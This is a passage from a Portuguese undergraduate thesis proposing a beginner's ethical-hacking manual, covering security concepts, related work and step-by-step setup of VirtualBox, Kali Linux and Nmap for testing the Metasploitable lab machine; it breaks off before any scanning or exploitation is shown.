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RESUMO

Devido a grande demanda de aplicac6es web que manipulam informacdes de valor
aos seus proprietarios e aos clientes que tém seus dados sensiveis expostos, ha
igualmente a necessidade de ethical hackers, o qual tenta identificar possiveis
brechas nestas aplicagcfes, para que, ndo venham a ser exploradas por criminosos
cibernéticos. Este trabalho tem o proposito de formular um manual contendo
técnicas de escaneamento, enumeracdao de vulnerabilidades e testes de penetracao
em sistemas. Tal manual foi elaborado de forma intuitiva, ilustrada e de fécil
compreensao, contendo exemplos praticos de todas as etapas da pratica de
pentest, desde a configuracdo do ambiente até a execucdo dos testes utilizando
ferramentas gratuitas e de cédigo aberto, recomendadas pela OWASP. Com o
auxilio deste manual, alunos de graduacao ou profissionais da area de tecnologia,
gue nao tem conhecimento sobre pentest e seguranca da informacéo, podem iniciar
0 estudo executando o roteiro composto nele.

Palavras-chave: ethical hacking; teste de penetragédo; seguranca da informacao;
OWASP; vulnerabilidades.



ABSTRACT

Due to the high demand for web applications manipulating valuable information of
their owners and their customers who have their sensitive data exposed, there is
also a need for Ethical hackers, who try to identify possible gaps in these
applications, so that they will not be exploited/hacked by cybercriminals. This work
has the purpose of formulating a manual containing scanning techniques, the
numbering of vulnerabilities and system penetration testing. This manual has been
designed in an intuitive way, illustrated and easy to understand, containing practical
examples of all the stages to utilize Pentest, from the configuration of the
environment to the execution of the test using free tools and open source codes
recommended by OWASP. With the help of this manual, graduate students or
professionals in the area of technology that don’t know about pentest and
information security can start their study by following the procedures described in it.

Keywords: ethical hacking; penetration test; information security; OWASP;
vulnerabilities.
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1. INTRODUCAO

O presente trabalho aborda o uso de técnicas e ferramentas utilizadas
em testes de invasao de servidores web como parte do estudo inicial da area de
ethical hacking, atividade que tem por objetivo trabalhar em prol da defesa desses

servidores contra possiveis ataques de usuarios mal intencionados.

1.1 O USO DA INTERNET E SUAS VULNERABILIDADES.

Ha alguns anos, o uso da Internet se resumia basicamente no
entretenimento de seus usuarios que a utilizava para ler noticias em sites, chats de
conversa, pesquisas, etc. Agora, a Internet se tornou o caminho mais utilizado pelas
pessoas para executar os mais diversos tipos de tarefas em seu cotidiano. Podemos
pagar contas e fazer transferéncias bancarias utilizando as aplicacdes de Internet
banking, o meio de comunicac¢ao mais utilizado atualmente também esta na Internet,
por exemplo, para se fazer compras néo precisamos mais sair de casa e irmos até
a loja, simplesmente escolhemos pelo site e pagamos com o cartdo de crédito; para
pedirmos comida, podemos simplesmente acessar o cardapio online, escolher a
refeicdo e efetuar o pedido. Até mesmo os servicos de TV e radio estdo sendo

substituidos por opcdes online que sao disponibilizados via streaming.

Devido a quantidade exorbitante de usuérios consumindo servigos via
Internet, as empresas que disponibilizam tais servicos necessitam dispor de
aplicacdes cada vez mais complexas e servidores mais robustos para atender a alta
demanda dos usuarios, tornando assim, as aplicacdes com possibilidades de terem

mais pontos vulneraveis.

Vulnerabilidade define-se segundo Peixinho (2013) como uma evidéncia
ou fragilidade que eleva o grau de exposi¢éo do ativo, aumentando a probabilidade
de sucesso da investida a uma ameaca. Ja Coelho (2014) elucida como sendo
qgualquer fraqueza que possa ser explorada e vir a comprometer a seguranca de
sistemas ou informagfes. A gama de servicos online disponiveis aos usuérios,
torna-se um grande campo de exploragdo de vulnerabilidades por hackers, para
execucdo de técnicas mal-intencionadas, visando explorar, invadir ou
indisponibilizar servicos web. Inimeros sdo os motivos que podem levar a essas

acOes, sejam eles politicos, tirar proveito em fraudes financeiras com acesso a
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dados bancarios ou de cartbes de crédito, aceder ou sequestrar dados de outras

pessoas, dentre outros.

1.2. SEGURANCA EM SISTEMAS DE INFORMACAO, ETHICAL
HACKERS E OWASP (OPEN WEB APPLICATION SECURITY
PROJECT).

Segundo Coelho (2014) a seguranca da informacéo condiz na protecao
das informagdes, sistemas ou recursos contra desastres intencionais ou nao,
manipulacdo ndo autorizada de dados, visando a reducdo da probabilidade e do

impacto de incidentes de seguranca.

A seguranca da informacdo se apoia em 3 principais pilares como
ressalta Lyra (2008),

Quando falamos em seguranca da informacéo, estamos nos referindo a
tomar acdes para garantir a confidencialidade, integridade, disponibilidade
e demais aspectos da seguranca das informacBes dentro das
necessidades do cliente. (LYRA, 2008).

Tais pilares sao descritos a seguir:

e Confidencialidade: trata-se da garantia de que a informac&o sO possa
ser acessada por quem tenha devida autorizagao;

e Integridade: trata-se da garantia de que a informacéo esteja mantida nas

condicBes exatas em que foi disponibilizada por seu proprietario;

e Disponibilidade: vem a ser a garantia de que a informagao esteja

sempre disponivel.

As empresas que disponibilizam servigcos online, tém-se dedicado cada
vez mais em aprimorar a seguranca da informacdao relacionada a seus ativos, sejam
esses 0 seu conteudo disponibilizado na aplicagdo para os usuarios ou para

protecao de dados de clientes que sao cadastrados nos seus sites.

Conforme Eshan (2018) ethical hackers séos os profissionais que
trabalham em prol de tentar proteger os sistemas contra entrada ilicita ou forcada,
enguanto os hackers sdo pessoas que tentam comprometer sistemas de informacéo

com intuito de ter algum beneficio.
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Ethical hacking € a atividade onde profissionais de tecnologia da
informacédo na area de seguranca da informacéo, atuam dentro da lei, para tentar
identificar e explorar vulnerabilidades em sistemas web, redes de computadores
e/ou dispositivos moveis, para que possam ser reparadas as falhas identificadas,
antes que sejam exploradas de forma maliciosa por hackers mal intencionados.

Esta atividade pode vir a ter uma demanda maior devido a Lei Geral de
Protecdo de Dados n° 13.709/2018 (LGPD) que entra em vigor em agosto de 2020.
Assim, empresas preocupadas em proteger suas aplicacdes online podem vir a
requisitar esse tipo de atividade para deteccdo de possiveis brechas em seus
sistemas web, com intuito de amenizar perdas causadas por ataques cibernéticos,
como por exemplo, um atague DDoS (Distributed Denial of Service) que, sendo um
ataque de negacao de servico, pode deixar uma aplicacdo web fora do ar resultando
em grandes perdas para a empresa e seus respectivos clientes.

Uma das atividades mais executadas por profissionais de ethical hacking
€ 0 pentesting, abreviacdo do termo penetration testing (teste de penetracdo) onde
ethical hackers utilizam de técnicas e ferramentas especificas para tentar burlar a
seguranca de uma rede ou aplicagdo web com intuito de identificar brechas que

poderiam ser exploradas por atacantes mal intencionados.

Giavaroto e Santos (2013) diz que pentesting trata-se de um método
para testar e descobrir vulnerabilidades de um sistema ou de uma rede onde efetua-
se um estudo sobre as possiveis vulnerabilidades existentes e executa-se
simulacdes de ataques reais. Silva et al. (2014) elucida que os testes de penetracao
correspondem a uma técnica que procura fazer uma tentativa de invasao de forma

legal, tendo prévia autorizacao do responsavel pelo ativo que sera testado.

Utilizei neste trabalho para nortear nossos testes de penetracdo a
metodologia da OWASP, uma fundacao internacional presente em diversos paises
do mundo. Atua de modo a fomentar, baseada em pesquisas e estudos na area de
seguranca em aplicacbes web, o desenvolvimento de software seguro. A
comunidade OWASP desenvolve e disponibiliza gratuitamente em seu portal web
(https://wiki.owasp.org/index.php/Main_Page), uma grande quantidade de
ferramentas e técnicas para a deteccao e tratamento de falhas de seguranca em

aplicacdes, assim como, um guia de testes muito completo e complexo que na
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presente data esta na sua versao 4.0 disponivel em:
(https://wiki.owasp.org/images/1/19/0TGv4.pdf) .

A Fundagdo OWASP publica a cada triénio uma lista contendo as 10
vulnerabilidades mais encontradas nesse periodo, disponivel em
(https:/lowasp.org/www-pdf-archive/OWASP_Top_ 10-2017_ %28en%?29.pdf.pdf),
tal publicacdo serve como bussola para que, empresas de desenvolvimento de
software atentem-se as vulnerabilidades mais exploradas da atualidade e os
profissionais ethical hackers se orientem nas tomadas de deciséo e elaboracdo de
planos de testes de penetragdo, entre outros.

Utilizei neste trabalho uma combinacdo de ferramentas gratuitas e de
cbdigo aberto, que nos permitira dar inicio aos estudos praticos na area de ethical
hacking e pentesting introduzindo os conhecimentos iniciais para a instalagéo das
aplicacOes, testes de scanners de vulnerabilidades e andlise de resultados.

O servidor alvo dos ataques sera uma aplicacdo web que roda em uma
distribuicdo Linux chamada Metasploitable, disponibilizada propriamente para
estudos, garantindo assim que nenhuma aplicagdo em producdo possa vir a ser
comprometida durante os testes e execucado deste trabalho. Outras ferramentas que
utilizei durante este trabalho é a distribuicdo Kali Linux onde estardo rodando os
softwares Nmap e o Metasploit. Todas as ferramentas utilizadas serdo detalhadas

na secéo 3.

A estrutura das maquinas onde foram instalados, tanto o Kali Linux
guanto o Metasploitable, € um ambiente virtualizado através do Oracle VirtualBox,
rodando em uma maquina com sistema operacional Ubuntu contendo um

processador octa-core de 2,2 Ghz e 8 GB de memoria RAM.
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2. TRABALHOS CORRELATOS

7

Neste capitulo & apresentado o referencial bibliografico correlato a
pesquisa que originou este trabalho, apresentando os resultados alcancados nestes
trabalhos. Com base nesta bibliografia pude analisar de que forma este trabalho

contribuird com a comunidade académica.

No trabalho de Lepesqueur e Oliveira (2012) foi realizada uma analise de
possiveis vulnerabilidades de redes utlizando ferramentas para pentest
automatizadas presentes na distribuicdo Linux Back Track. Também foram
expostas algumas das vulnerabilidades encontradas no processo de analise e
apresentado um conjunto de a¢des que possibilitam mitigar os danos causados por
exploracdes de tais vulnerabilidades. Para a execucao dos testes de penetracéo,
0s autores utilizaram uma infraestrutura virtualizada simulando uma rede
corporativa contendo seus elementos, tais como, firewall, servidores DHCP,
servidores de arquivos e de e-mails, entre outros. O autor, ainda apresentou uma
lista contendo diversos tipos de ataques existentes que podem ser explorados por
hackers: captura de pacotes, falsificagcdo de pacotes, envenenamento de cache
DNS, negacéo de servico, buffer overflow, injecdo de DLL, sequestro de sessao,
guebra de senhas e engenharia social. No teste pratico o autor utilizou a distribuicdo
Linux Black Track e diversos softwares para os testes como OpenVAS, Social
Engineer Toolkit (SET), Aircrack-ng, Nmap, Wireshark, Metasploit Framework,
Nessus e alguns scripts nativos desta distribuicdo Linux. Apos a exploracdo de
diversas vulnerabilidades, o autor apresentou formas de mitigar tais
vulnerabilidades, eliminando as brechas existentes nos sistemas testados podendo
tornar o ambiente mais seguro. Concluiu-se que o projeto apresentou as etapas
para a execugdo de um teste de penetragdo, utilizando-se de diversas formas de
ataque em um ambiente corporativo, apresentando todas as etapas do processo,
desde a formacdo do laboratério, as exploracdes das vulnerabilidades e a

apresentacao das formas de mitigar as falhas de seguranca da informacéo.

No trabalho de Monteverde (2014) foi realizado um estudo de
vulnerabilidades em servicos web em uma amostra de websites brasileiros
utilizando scanners de vulnerabilidades automatizados. As buscas por tais
vulnerabilidades foram baseadas na lista Top Ten da OWASP que teve, por sua

vez, uma explicacdo detalhada de cada vulnerabilidade contida na lista, assim
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como, exemplos para explorar tais vulnerabilidades. O autor apresentou, ainda, uma
gama de ferramentas do tipo scanners dos quais foram executados diversos testes,
e ferramentas avaliadas pelo autor. Foi também apresentado uma lista contendo as
vulnerabilidades encontradas nos websites testados, categorizando-as pelo grau de
risco disponibilizado pela OWASP. Com este trabalho, péde ser visto que 33% das
vulnerabilidades identificadas nos testes sdo classificadas como severas pela
OWASP, que pode ainda, serem exploradas com certa facilidade por alguém que
tenha algum conhecimento técnico e utilizando as ferramentas que possuem
interface grafica apresentadas no trabalho, deixando assim um alerta, para que 0s
desenvolvedores de software tenham uma atencdo maior a requisitos de seguranca

guando desenvolverem.

Em Martinelo e Bellezi (2014) foram analisadas as vulnerabilidades ja
conhecidas no meio académico. Para tal, foram utilizadas duas ferramentas que
automatizam a busca por possiveis vulnerabilidades, sendo elas o OpenVAS e o
Nessus. Foram abordados neste trabalho o grande uso de sistemas computacionais
para as empresas e a importancia que tais sistemas tém. Apresentam, também, os
tipos de vulnerabilidades que podem conter em um cenério (fisicas, hardware,
naturais, humanas e de software), assim como os danos que estas vulnerabilidades
podem causar aos ganhos de uma empresa quando exploradas. Os autores
apresentaram o framework OpenVAS como sendo uma ferramenta automatizada
para scaner de vulnerabilidades que tem seu codigo fonte aberto, derivado do
framework Nessus que, por sua vez, passou a ter seu codigo fechado com licenca
comercial. Os testes de penetracao utilizados com estas ferramentas tiveram como
host alvo a maquina Metasploitable. Os autores apresentaram os resultados de uma
comparacao realizada entre os 2 softwares utilizando as configuragdes padrao de
instalacéo e scaner em ambos. Os resultados mostraram que o OpenVAS gastou 7
vezes mais tempo que o Nessus e as ferramentas apresentaram resultados bem
diferentes em relacdo a quantidade de vulnerabilidades encontradas e o grau de
gravidade das vulnerabilidades ocasionado pela forma com que cada aplicacdo
interpreta o resultado dos dados colhidos durante o scaner. Foi concluido que, com
ferramentas como estas apresentadas no artigo, pode-se ter auxilio com o combate
de vulnerabilidades conhecidas, podendo amenizar os danos em empresa

ocasionados por ataques maliciosos aos seus ativos computacionais.
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No trabalho de Rodrigues (2014) sao apresentadas vulnerabilidades em
aplicacdes web trazendo o foco para aplicacbes construidas utilizando o CMS
(Content Management System) Wordpress e buscando detalhar melhor sua
vulnerabilidade a ataques do tipo XSS (Cross-site Scripting). O autor traz de forma
abrangente todo o conceito de Internet e a forma como o0s protocolos de
comunicacao trabalham em uma rede. Ainda € elucidado de forma perspicaz a
seguranca em aplicacfes web e demonstra-se como o Brasil esteve despreparado
em relacdo a seguranca da informacdo em comparacao aos demais paises no ano
de 2013. O autor também apresenta e exemplifica a lista de vulnerabilidades web
disponibilizada pela fundacdo OWASP, incluindo a vulnerabilidade do tipo XSS
tendo grande atencdo e importancia, pois, em 2013, foi a vulnerabilidade mais
frequente, presente em 25% das aplica¢des testadas. Foi utilizado neste projeto um
scanner de vulnerabilidades chamado WPscan, o qual é direcionado
especificamente para aplicacoes feitas em Wordpress. Foi encontrado uma lista de
possiveis vulnerabilidades e um link com o exploit para a exploracdo da
vulnerabilidade. Também foi possivel ter acesso as informacgdes internas de
configuracdo da aplicacdo e ainda executar ataques que exploram outras falhas,
como por exemplo, ataque de forca bruta para autenticacdo indevida de usuério e
exploracdo da vulnerabilidade do tipo XSS. O autor apresenta, posteriormente,
formas de prevenir contra as vulnerabilidades que foram exploradas durante os
testes. Pode-se concluir com o trabalho que foi possivel identificar e explorar
diversas falhas em uma aplicacéo construida utilizando Wordpress, deixando assim,

um alerta que vale a pena investir em uma aplicacéo segura.

No trabalho de Assunc¢éo (2015) é realizado uma analise de eficiéncia na
deteccdo de vulnerabilidades em ambientes web com o uso de ferramentas de
codigo aberto. Teve por objetivo identificar as principais vulnerabilidades em
ambiente web, foi utilizado para este projeto 5 ferramentas de cédigo aberto, sendo
elas: OWASP ZAP, SQLMap, Nikto, Skipfish e W3af. Foi utilizado como referéncia
para selecdo das categorias de risco do documento da OWASP Top Ten,
apresentando e discutindo cada vulnerabilidade contida nesta lista. O Autor
apresentou os resultados dos testes de vulnerabilidade categorizados em: baixo,
médio e alto risco. Neste projeto ndo foram consideradas as ameacas de baixo risco

gue nado se encaixaram em nenhuma categoria do Top Ten, visto que o projeto tem
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a intencao de relatar somente as vulnerabilidades listada neste documento. Como
resultado, o autor trouxe tabelas e gréficos ilustrando as vulnerabilidades
encontradas pelas ferramentas utilizadas, analisando a quantidade de
vulnerabilidades, tempo de execucéo e falsos positivos. Chegou-se ao resultado
que o software W3af obteve o melhor retorno considerando a quantidade de

vulnerabilidades existentes e 0 niumero de falsos positivos.

Embora os trabalhos correlatos citados trazem numerosos esfor¢os para
testar aplicacbes e apresentar os diversos tipos de vulnerabilidades existentes,
sendo de grande valia para o conhecimento académico, nenhum deles apresenta
uma proposta de um manual para iniciantes em seguranca da informacgao terem o
primeiro contato com as ferramentas utilizadas para a execucdo de testes de
penetracdo, enumeracgdo, exploracdo de vulnerabilidades de forma sucinta e
intuitiva utilizando os softwares Nmap e Metasploit contidos na distribuicdo Kali

Linux.

Com a chegada da LGPD - Lei Geral de Protecdo de Dados n°
13.709/2018, onde as empresas que detém dados dos seus clientes estarao sujeitas
a pagar multas elevadas, podendo variar de R$50 milhdes de reais ou 2% do
faturamento anual da empresa ou grupo empresarial, caso haja o vazamento de
seus dados, podera haver um aumento na procura por profissionais da area de
seguranca da informacéo para a execucao de atividades de Ethical Hacking. Sendo
assim, o manual proposto neste trabalho sera de grande contribuicdo a comunidade

tecnoldgica académica.
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3. OBJETIVOS
3.1. OBJETIVO GERAL

Construir um manual apresentando a configuracdo de um ambiente de
estudo com ferramentas utilizadas para execucao de testes de penetracdo para a
pratica de ethical hacking.

3.2. OBJETIVOS ESPECIFICOS

e Apresentar o conceito inicial sobre o estudo em seguranca de aplicacbes
web.

e Apresentar as ferramentas utilizadas nesse estudo.

e Configurar o ambiente e as maquinas virtuais contendo os sistemas

operacionais utilizados para a execuc¢ao deste trabalho.

e Executar testes de scaner de rede, portas e servigos, assim como testes

de penetracéo e invasédo de servidores.

e O manual também vai conter o resultado dos testes executados, assim

como apresentar as vulnerabilidades encontradas.
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4, DISTRIBUIC()ES KALI LINUX E METASPLOITABLE E
SOFTWARES NMAP E METASPLOIT.

Para a construgéo da infraestrutura desse trabalho, utilizou-se o software
de virtualizacdo VirtualBox que esta disponivel para download no seguinte link:
https://www.virtualbox.org/wiki/Downloads com versdes para Windows, OS X hosts,
Linux, Solaris entre outras, como mostrado na Figura 1. O manual de instalacdo do
VirtualBox se encontra no seguinte endereco digital:

https://www.virtualbox.org/manual/UserManual.html#install-win-performing.

VirtualBox

Download VirtualBox

Here you will find links to VirtualBox binaries and its source code.

VirtualBox binaries

By downloading, you agree to the terms and conditions of the respective license.

If you're looking for the latest VirtualBox 5.2 packages, see VirtualBox 5.2 builds. Please also
Version 5.2 will remain supported until July 2020.

VirtualBox 6.0.14 platform packages
. Windows hosts
. 05 X hosts

» Linux distributions
. Solaris hosts

The binaries are released under the terms of the GPL version 2.

See the changelog for what has changed.

You might want to compare the checksums to verify the integrity of downloaded packages. Th
« SHA256 checksums, MDS checksums

Note: After upgrading VirtualBox it is recommended to upgrade the guest additions as well.

Figura 1 - Sistemas operacionais disponiveis para o VirtualBox

Ap6s o download e instalacdo do VirtualBox, o software foi aberto para
adicionarmos uma maquina virtual para instalagédo do Kali Linux. Clicando no bot&o
“Novo”, conforme a Figura 2, iniciou a criacdo de uma nova maquina virtual. Na
sequéncia informou-se o nome da maquina, o tipo do sistema operacional e a
versao conforme Figura 3. Em seguida defini 1024 MB para o tamanho da memdria
RAM, como pode-se ver na Figura 4, que neste caso é o suficiente ja que o Kali é

uma distribuicdo leve e consome pouca memodria.



Oracle VM VirtualBox Gerenciador

Arquivo (F) Maquina Ajuda (H)

U Forramentas

8 @

2 -

Novo Configuracdes Exibir (h)
vm = ceral =| pré-visualizagio =
© pesligada Nome: Kali-
Linux-2019.3-
E" Metasploitable vbox-amdé64
© pesligada Sistema Operacional: Debian (64-
bit)
[ca= — Localizagao do Arquivo de Configuracdes: /home/
=) e fabriciof
VirtualBox
VMs/Kali-
Linux-2019.3-
vbox-amdé4
[® sistema
Memoria Principal: 2048 MB
Processadores: 2

Ordem de Boot: Disco Rigido, Optico

Figura 2 - Criando nova maquina virtual para o Kali Linux.
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Criar Maquina Virtual

Nome e Sistema Operacional

Escolha um nome descritivo para a nova maquina virtual e selecione o tipo de
sistema operacional que vocé pretende instalar nela. O nome que vocé

\
5
N

-

“

escolher sera utilizado pelo VirtualBox para identificar esta maquina.

Nome: |KALI LINUX]

Pasta da Maquina:

[l /home/Fabricio/VirtualBox VMs -

Tipo: | Linux -
Versao: |Linux 2.6 / 3.x/ 4.x (64-bit) -
Modo Expert Cancelar

Figura 3 - Configurando a maquina virtual Kali Linux.

Criar Maquina Virtual %

\
3
W

-

“/

Tamanho da meméria

Selecione a quantidade de meméria (RAM) em megabytes que seré alocado

para a maquina virtual.

O tamanho recomendado para memoéria é de 1024MB.

4 MB

1024 |5 MB
8192 MB

< Voltar (B) Cancelar

Figura 4 - Tamanho da Meméria RAM dedicada a maquina virtual Kali Linux.
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Dando sequéncia, marquei a opgéo para criar um novo disco rigido no
formato VDI (VirtualBox Disk Image) que estara dinamicamente alocado, para que
consuma o espaco de acordo com a demanda, conforme ilustram as Figuras 5, 6 e
7.

Criar Maquina Virtual

Disco rigido

Se vocé quiser, pode acrescentar um disco rigido virtual a esta maquina
virtual. Vocé pode acrescentar um arquivo de disco rigido virtual na lista ou
selecionar outro local utilizando o icone de pasta.

Se vocé deseja uma configuracdo de armazenamenkto mais complexa, pode
pular este passo e fazer as mudancas manualmente na configuragio da

~ maquina assim que ela terminar de ser criada.
| -~

Recomenda-se utilizar um disco rigido de 8,00 GB.

w Nao acrescentar um disco rigido virtual
& Criar um novo disco rigido virtual agora

Utilizar um disco rigido virtual existente

< Voltar (B) Cancelar

Figura 5 - Criar novo disco rigido para a maquina virtual Kali Linux.

Criar Disco Rigido Virtual

Tipo de arquivo de disco rigido

Escolha o tipo de arquivo que vocé gostaria de utilizar para o novo disco rigido virtual.
Caso nao necessite utiliza-lo com outros softwares de virtualizacao, pode deixar esta
opgao como esta.

&) /DI (VirtualBox Disk Image)
VHD (Virtual Hard Disk)
VMDK (Virtual Machine Disk)

~ .

Modo Expert Cancelar

Figura 6 - Selecionar o tipo de arquivo para o disco virtual.
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Criar Disco Rigido Virtual

Armazenamento em disco rigido Fisico

Escolha se o arquivo contendo o disco rigido virtual deve crescer a medida em que é
utilizado (dinamicamente alocade) ou se ele deve ser criade ja com o tamanho maximo
(tamanho fixo).

Um arquivo de disco rigido virtual dinamicamente alocado ira utilizar espago em seu
disco rigido Fisico a medida em que For sendo utilizado (até um tamanho maximo pré-
definido), mas ndo ird encolher caso seja liberado espaco nele.

Um arquivo de disco rigido virtual de tamanho Fixo pode levar mais tempo para ser
criado em alguns sistemas, mas geralmente possui acesso mais rapido.

»,
\‘ ® Dinamicamente alocado

Tamanho Fixo

< Voltar (B) | |Préximo (N) > || Cancelar

Figura 7 - Disco virtual dinamicamente alocado.

Por fim, defini o tamanho do disco rigido de 15 GB para concluir a

configuragdo da maquina virtual, conforme mostra a Figura 8.

Criar Disco Rigido Virtual

Localizacdo e tamanho do arquivo

Informe o nome do arquivo em disco que contera o disco virtual no campo abaixo ou
clique no icone da pasta para selecionar uma localizacdo diferente para o arquivo.

/home/Fabricio/VirtualBox VMs/KALI LINUX/KALI LINUX.vdi |

Selecione o tamanho da imagem de disco virtual em megabytes. Este tamanho é o
limite maximo de dados que uma maquina virtual podera armazenar neste disco rigido.

O 15(GB |
4,00 MB 2,00T8B

< Voltar (B) Criar Cancelar

Figura 8 - Selecionar o tamanho do disco rigido virtual.

4.1. DISTRIBUICAO KALI LINUX

E uma distribuicdo GNU/Linux baseada no Debian, contém centenas de
ferramentas voltadas para tarefas de seguranca da informacdo, como teste de

penetracdo, pesquisa de seguranca, computacéo forense e engenharia reversa.
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O Kali Linux é a evolugdo da antiga distribuicdo Back Track que era
baseada no Ubuntu. Ele foi desenvolvido, financiado e mantido pela empresa
Offensive Security, que ainda dispde de uma série de programas de certificacoes e
treinamentos de seguranca, projetados para pentesters e profissionais de
seguranca.

O Kali Linux contém nativamente ferramentas especificas voltadas para
tarefas na area de auditoria de seguranca, como scaner de rede, avaliacdo de banco
de dados, ataques de wireless e de senhas, exploracdo de vulnerabilidades
conhecidas, engenharia reversa, computacéo forense e pericia digital, engenharia

social, etc.

A documentacdo completa do Kali Linux estd disponivel no link
https://docs.kali.org/. @) link para download é o] seguinte:
https://www.kali.org/downloads/. Neste estudo utilizou-se a versao de 64 bits como

ilustra a Figura 9.

Download Kali Linux Images

We generate fresh Kali Linux image files every few months, which we make available for download. This page provides the
links to download Kali Linux in its latest official release. For a release history, check our Kali Linux Releases page. Please note:
You can find unofficial, untested weekly releases at http://cdimage.kali.org/kali-weekly/. Downloads are rate limited to 5
concurrent connections.

Image Name Torrent | Version | Size SHA256Sum

2.9G 3fdf8732df5f2e935e3121bed3565a113beldbdadebs10522df60elcd4B881b9a0
Torrent 2019.3
Kali Linux 32-Bit

296G | d9bc23adled2af7f0170dc6d15aec58be2f1ala5he6751ce0676540753ef7020
Torrent 2019.3
Kali Linux 64-Bit

356 | dd44391927d38d91cae96ed1a8bi18767d38ber2617761Fab2d54adBc77310%cC
Torrent 2019.3
Kali Linux Large

Figura 9 - Tela de download do Kali Linux.

Para iniciar a instala¢édo do Kali Linux, utilizou-se a maquina virtual criada

conforme a Figura 10, foi selecionada a imagem ISO baixada no site do Kali Linux
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conforme a Figura 9. Na primeira tela do Kali Linux foi selecionada op¢ao Graphical

Install vide Figura 11. Em seguida escolhe-se o idioma e o teclado.

Oracle VM VirtualBox Gerenciador

Arquivo (F) Maquina Ajuda (H)

B erramentas & @ .

Movo Configuragbes Iniciar (T)
vm = Geral = pré-visualizagdo =
© pesligada Nome: KALI LINUX
Sistema Operacional: Linux 2.6 / 3.x
E" Metasploitable / 4.x (64-bit)
@ pesligada Localizagao do Arquivo de Configuragdes: /home/
’ fabricio/ KALI LINUX
Fh Kali-Linux-2019.3-vb.. VirtualBox
I © Desligada VMs/KALI
LINUX
[# sistema

Memoria Principal: 1024 MB
Ordem de Boot: Disquete, Optico, Disco Rigido
Aceleracao: VT-x/AMD-V, Paginacdo Aninhada, Paravirtualizagao KVM

= Tela

Figura 10 - Inicializando maquina Kali Linux.

Arquivo Maquina Visualizar Entrada Dispositivos Ajuda

KAL

~the guieter you become, the more you are able to hear”

Boot menu

Live (amd64)

Live (amd64 failsafe)

Live (forensic mode)

Live USBE Per=zistence (check kali.org-prst)
Live USE Encrypted Perzistence (check kali.org-prst)
Install

Graphical install
Install with speech synthesis
Advanced options

Figura 11 - Inicializando Instalagdo do Kali Linux.
Na préxima tela, configurei “kali” para o nome da maquina e o campo
“‘dominio” fica em branco. Na proxima etapa, defini a senha do usuario root, que

sera o usuario utilizado na maquina Kali. Configurei a senha para o usuario root
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conforme a Figura 12. Na sequéncia o estado geografico para a configuragdo

regional foi escolhido.

Arquivo Maquina Visualizar Entrada Dispositivos Ajuda

‘ KALI \

BY OFFENSIVE SECURITY

Configurar usuarios e senhas

Vocé precisa definir uma senha para o 'root’', a conta administrativa do sistema. Um usuario malicioso ou
nao qualificado com acesso root pode levar a resultados desastrosos, portanto vocé deve tomar o
cuidado de escolher uma senha que ndo seja facil de ser adivinhada. Essa senha ndo deve ser uma
palavra encontrada em dicionarios ou uma palavra que possa ser facilmente associada a vocé.

Uma boa senha contera uma mistura de letras, nimeros e pontuacdo e devera ser modificada em
intervalos regulares.

0 usuario root ndo devera ter uma senha em branco. Se vocé deixar este campo vazio, a conta do root
sera desabilitada e a conta do usuario inicial do sistema recebera o poder de tornar-se root usando o
comando "sudo”.

Note que vocé ndo podera ver a senha enquanto a digita.
Senha do root:

[toor

Mostrar a senha

Por favor, informe novamente a mesma senha de root para verificar se vocé digitou-a corretamente.
Informe novamente a senha para verificacio:

Itnnr

(4}

Capturar tela l Voltar ] Continuar

Figura 12 - Cadastrando a senha para usuario root.

O préximo passo foi 0 particionamento do disco, onde selecionei a op¢ao
“Assistido — usar o disco inteiro”, devido sua simplicidade de configuragao e por
termos utilizado um ambiente virtualizado, mas, caso a instalacéo seja feita em uma
maquina real, o particionamento pode ser feito manualmente podendo assim ter os
tamanhos das particbes personalizados.

Na sequéncia foi selecionada a opcao “todos os arquivos em uma
particao”, para o tipo de particionamento do disco, mas, pode-se também utilizar a
opcéao de criar uma particdo separada para o diretorio /home. Na sequéncia finalizei

0 particionamento conforme a Figura 13.
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Arquivo Maquina Visualizar Entrada Dispositivos Ajuda

BY OFFENSIVE SECURITY

Particionar discos

Esta é uma vis3o geral de suas particdes e pontos de montagem atualmente configurados. Selecione uma particio
para modificar suas configuracées (sistema de arquivos, ponto de montagem, etcl, um espago livre onde criar
particbes ou um dispositive no gual inicializar uma tabela de particdes.

Particionamento assistido

Configurar RAID via software

Configurar o Gerenciador de Volumes Logicos

Configurar volumes criptografados

Configurar volumes iSCSI
~ 5CSI11 (0,0,0) (sda) - 16.1 GB ATA VBOX HARDDISK
= #1 primaria 15.0GB f extd !

> #5 logica 1.1 GB f swap swap

Desfazer as mudancas nas particoes

Finalizar o particionamento e escrever as mudancas no disco

Capturar tela I [ Ajuda ] [ Voltar } Continuar

Figura 13 - Finalizar particionamento do disco rigido.

Na proxima etapa foi configurada a opcao: sim, para utilizar um espelho
de rede, a fim de suplementar o repositério de atualizacbes e softwares, conforme
Figura 14. Na sequéncia foi escolhido instalar o carregador de inicializacdo GRUB.

Conclua a instalacéo.

Arquivo Maquina Visualizar Entrada Dispositivos Ajuda

| KALI I

BY OFFENSIVE SECURITY

Configurar o gerenciador de pacotes

Um espelho de rede pode ser usado para suplementar o software que esta incluso no CD-ROM. Isto
também pode disponibilizar novas versdes de softwares.

Usar um espelho de rede?

O Néo

Capturar tela l Voltar ] Continuar
Figura 14 - Espelho de rede do Kali Linux.
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4.2. SOFTWARE NMAP

Nmap (Network Mapper) é um utilitario gratuito de cédigo fonte aberto
para exploracdo de rede e auditoria de seguranca. Suporta 0s principais sistemas
operacionais: Unix, Linux, Windows e Mac OS. “Publicagdes como Linux Journal,
Info World, LinuxQuestions.Org e Codetalker Digest reconheceram o Nmap como a
‘ferramenta de seguranga do ano”. (NMAP.ORG, 2019).

O Nmap teve sua primeira versdo lancada em 1° de setembro de 1997
com o intuito de consolidar a area de scanners de portas em uma Unica ferramenta
gratuita e flexivel. Continha 3 arquivos e apenas 2 mil linhas de codigo suportado

somente para Linux.

Lyon (2008) esclarece que o Nmap utiliza pacotes IP em seu estado
bruto, no qual é requerido acesso de nivel root para determinar quais hosts estédo
disponiveis na rede, quais servigos estdo ativos informando o nome do servico e
sua versao, guais sistemas operacionais com suas versoes e se executam algum
filtro ou firewall. Foi projetado para verificar grandes redes, porém funciona
perfeitamente em hosts Unicos. Para este trabalho, utilizei a versédo nativa que vem
instalada no Kali Linux, mas, se for necessario instala-lo em um sistema operacional
diferente pode-se utilizar o guia de instalagédo oficial do Nmap no seguinte link:
https://nmap.org/book/install.html.

O Nmap possui uma lista de scripts chamada NSE (Nmap scripts engine)
contendo uma grande quantidade de scripts prontos para exploracdo de
vulnerabilidades ja conhecidas. Esta lista estad disponivel no link:
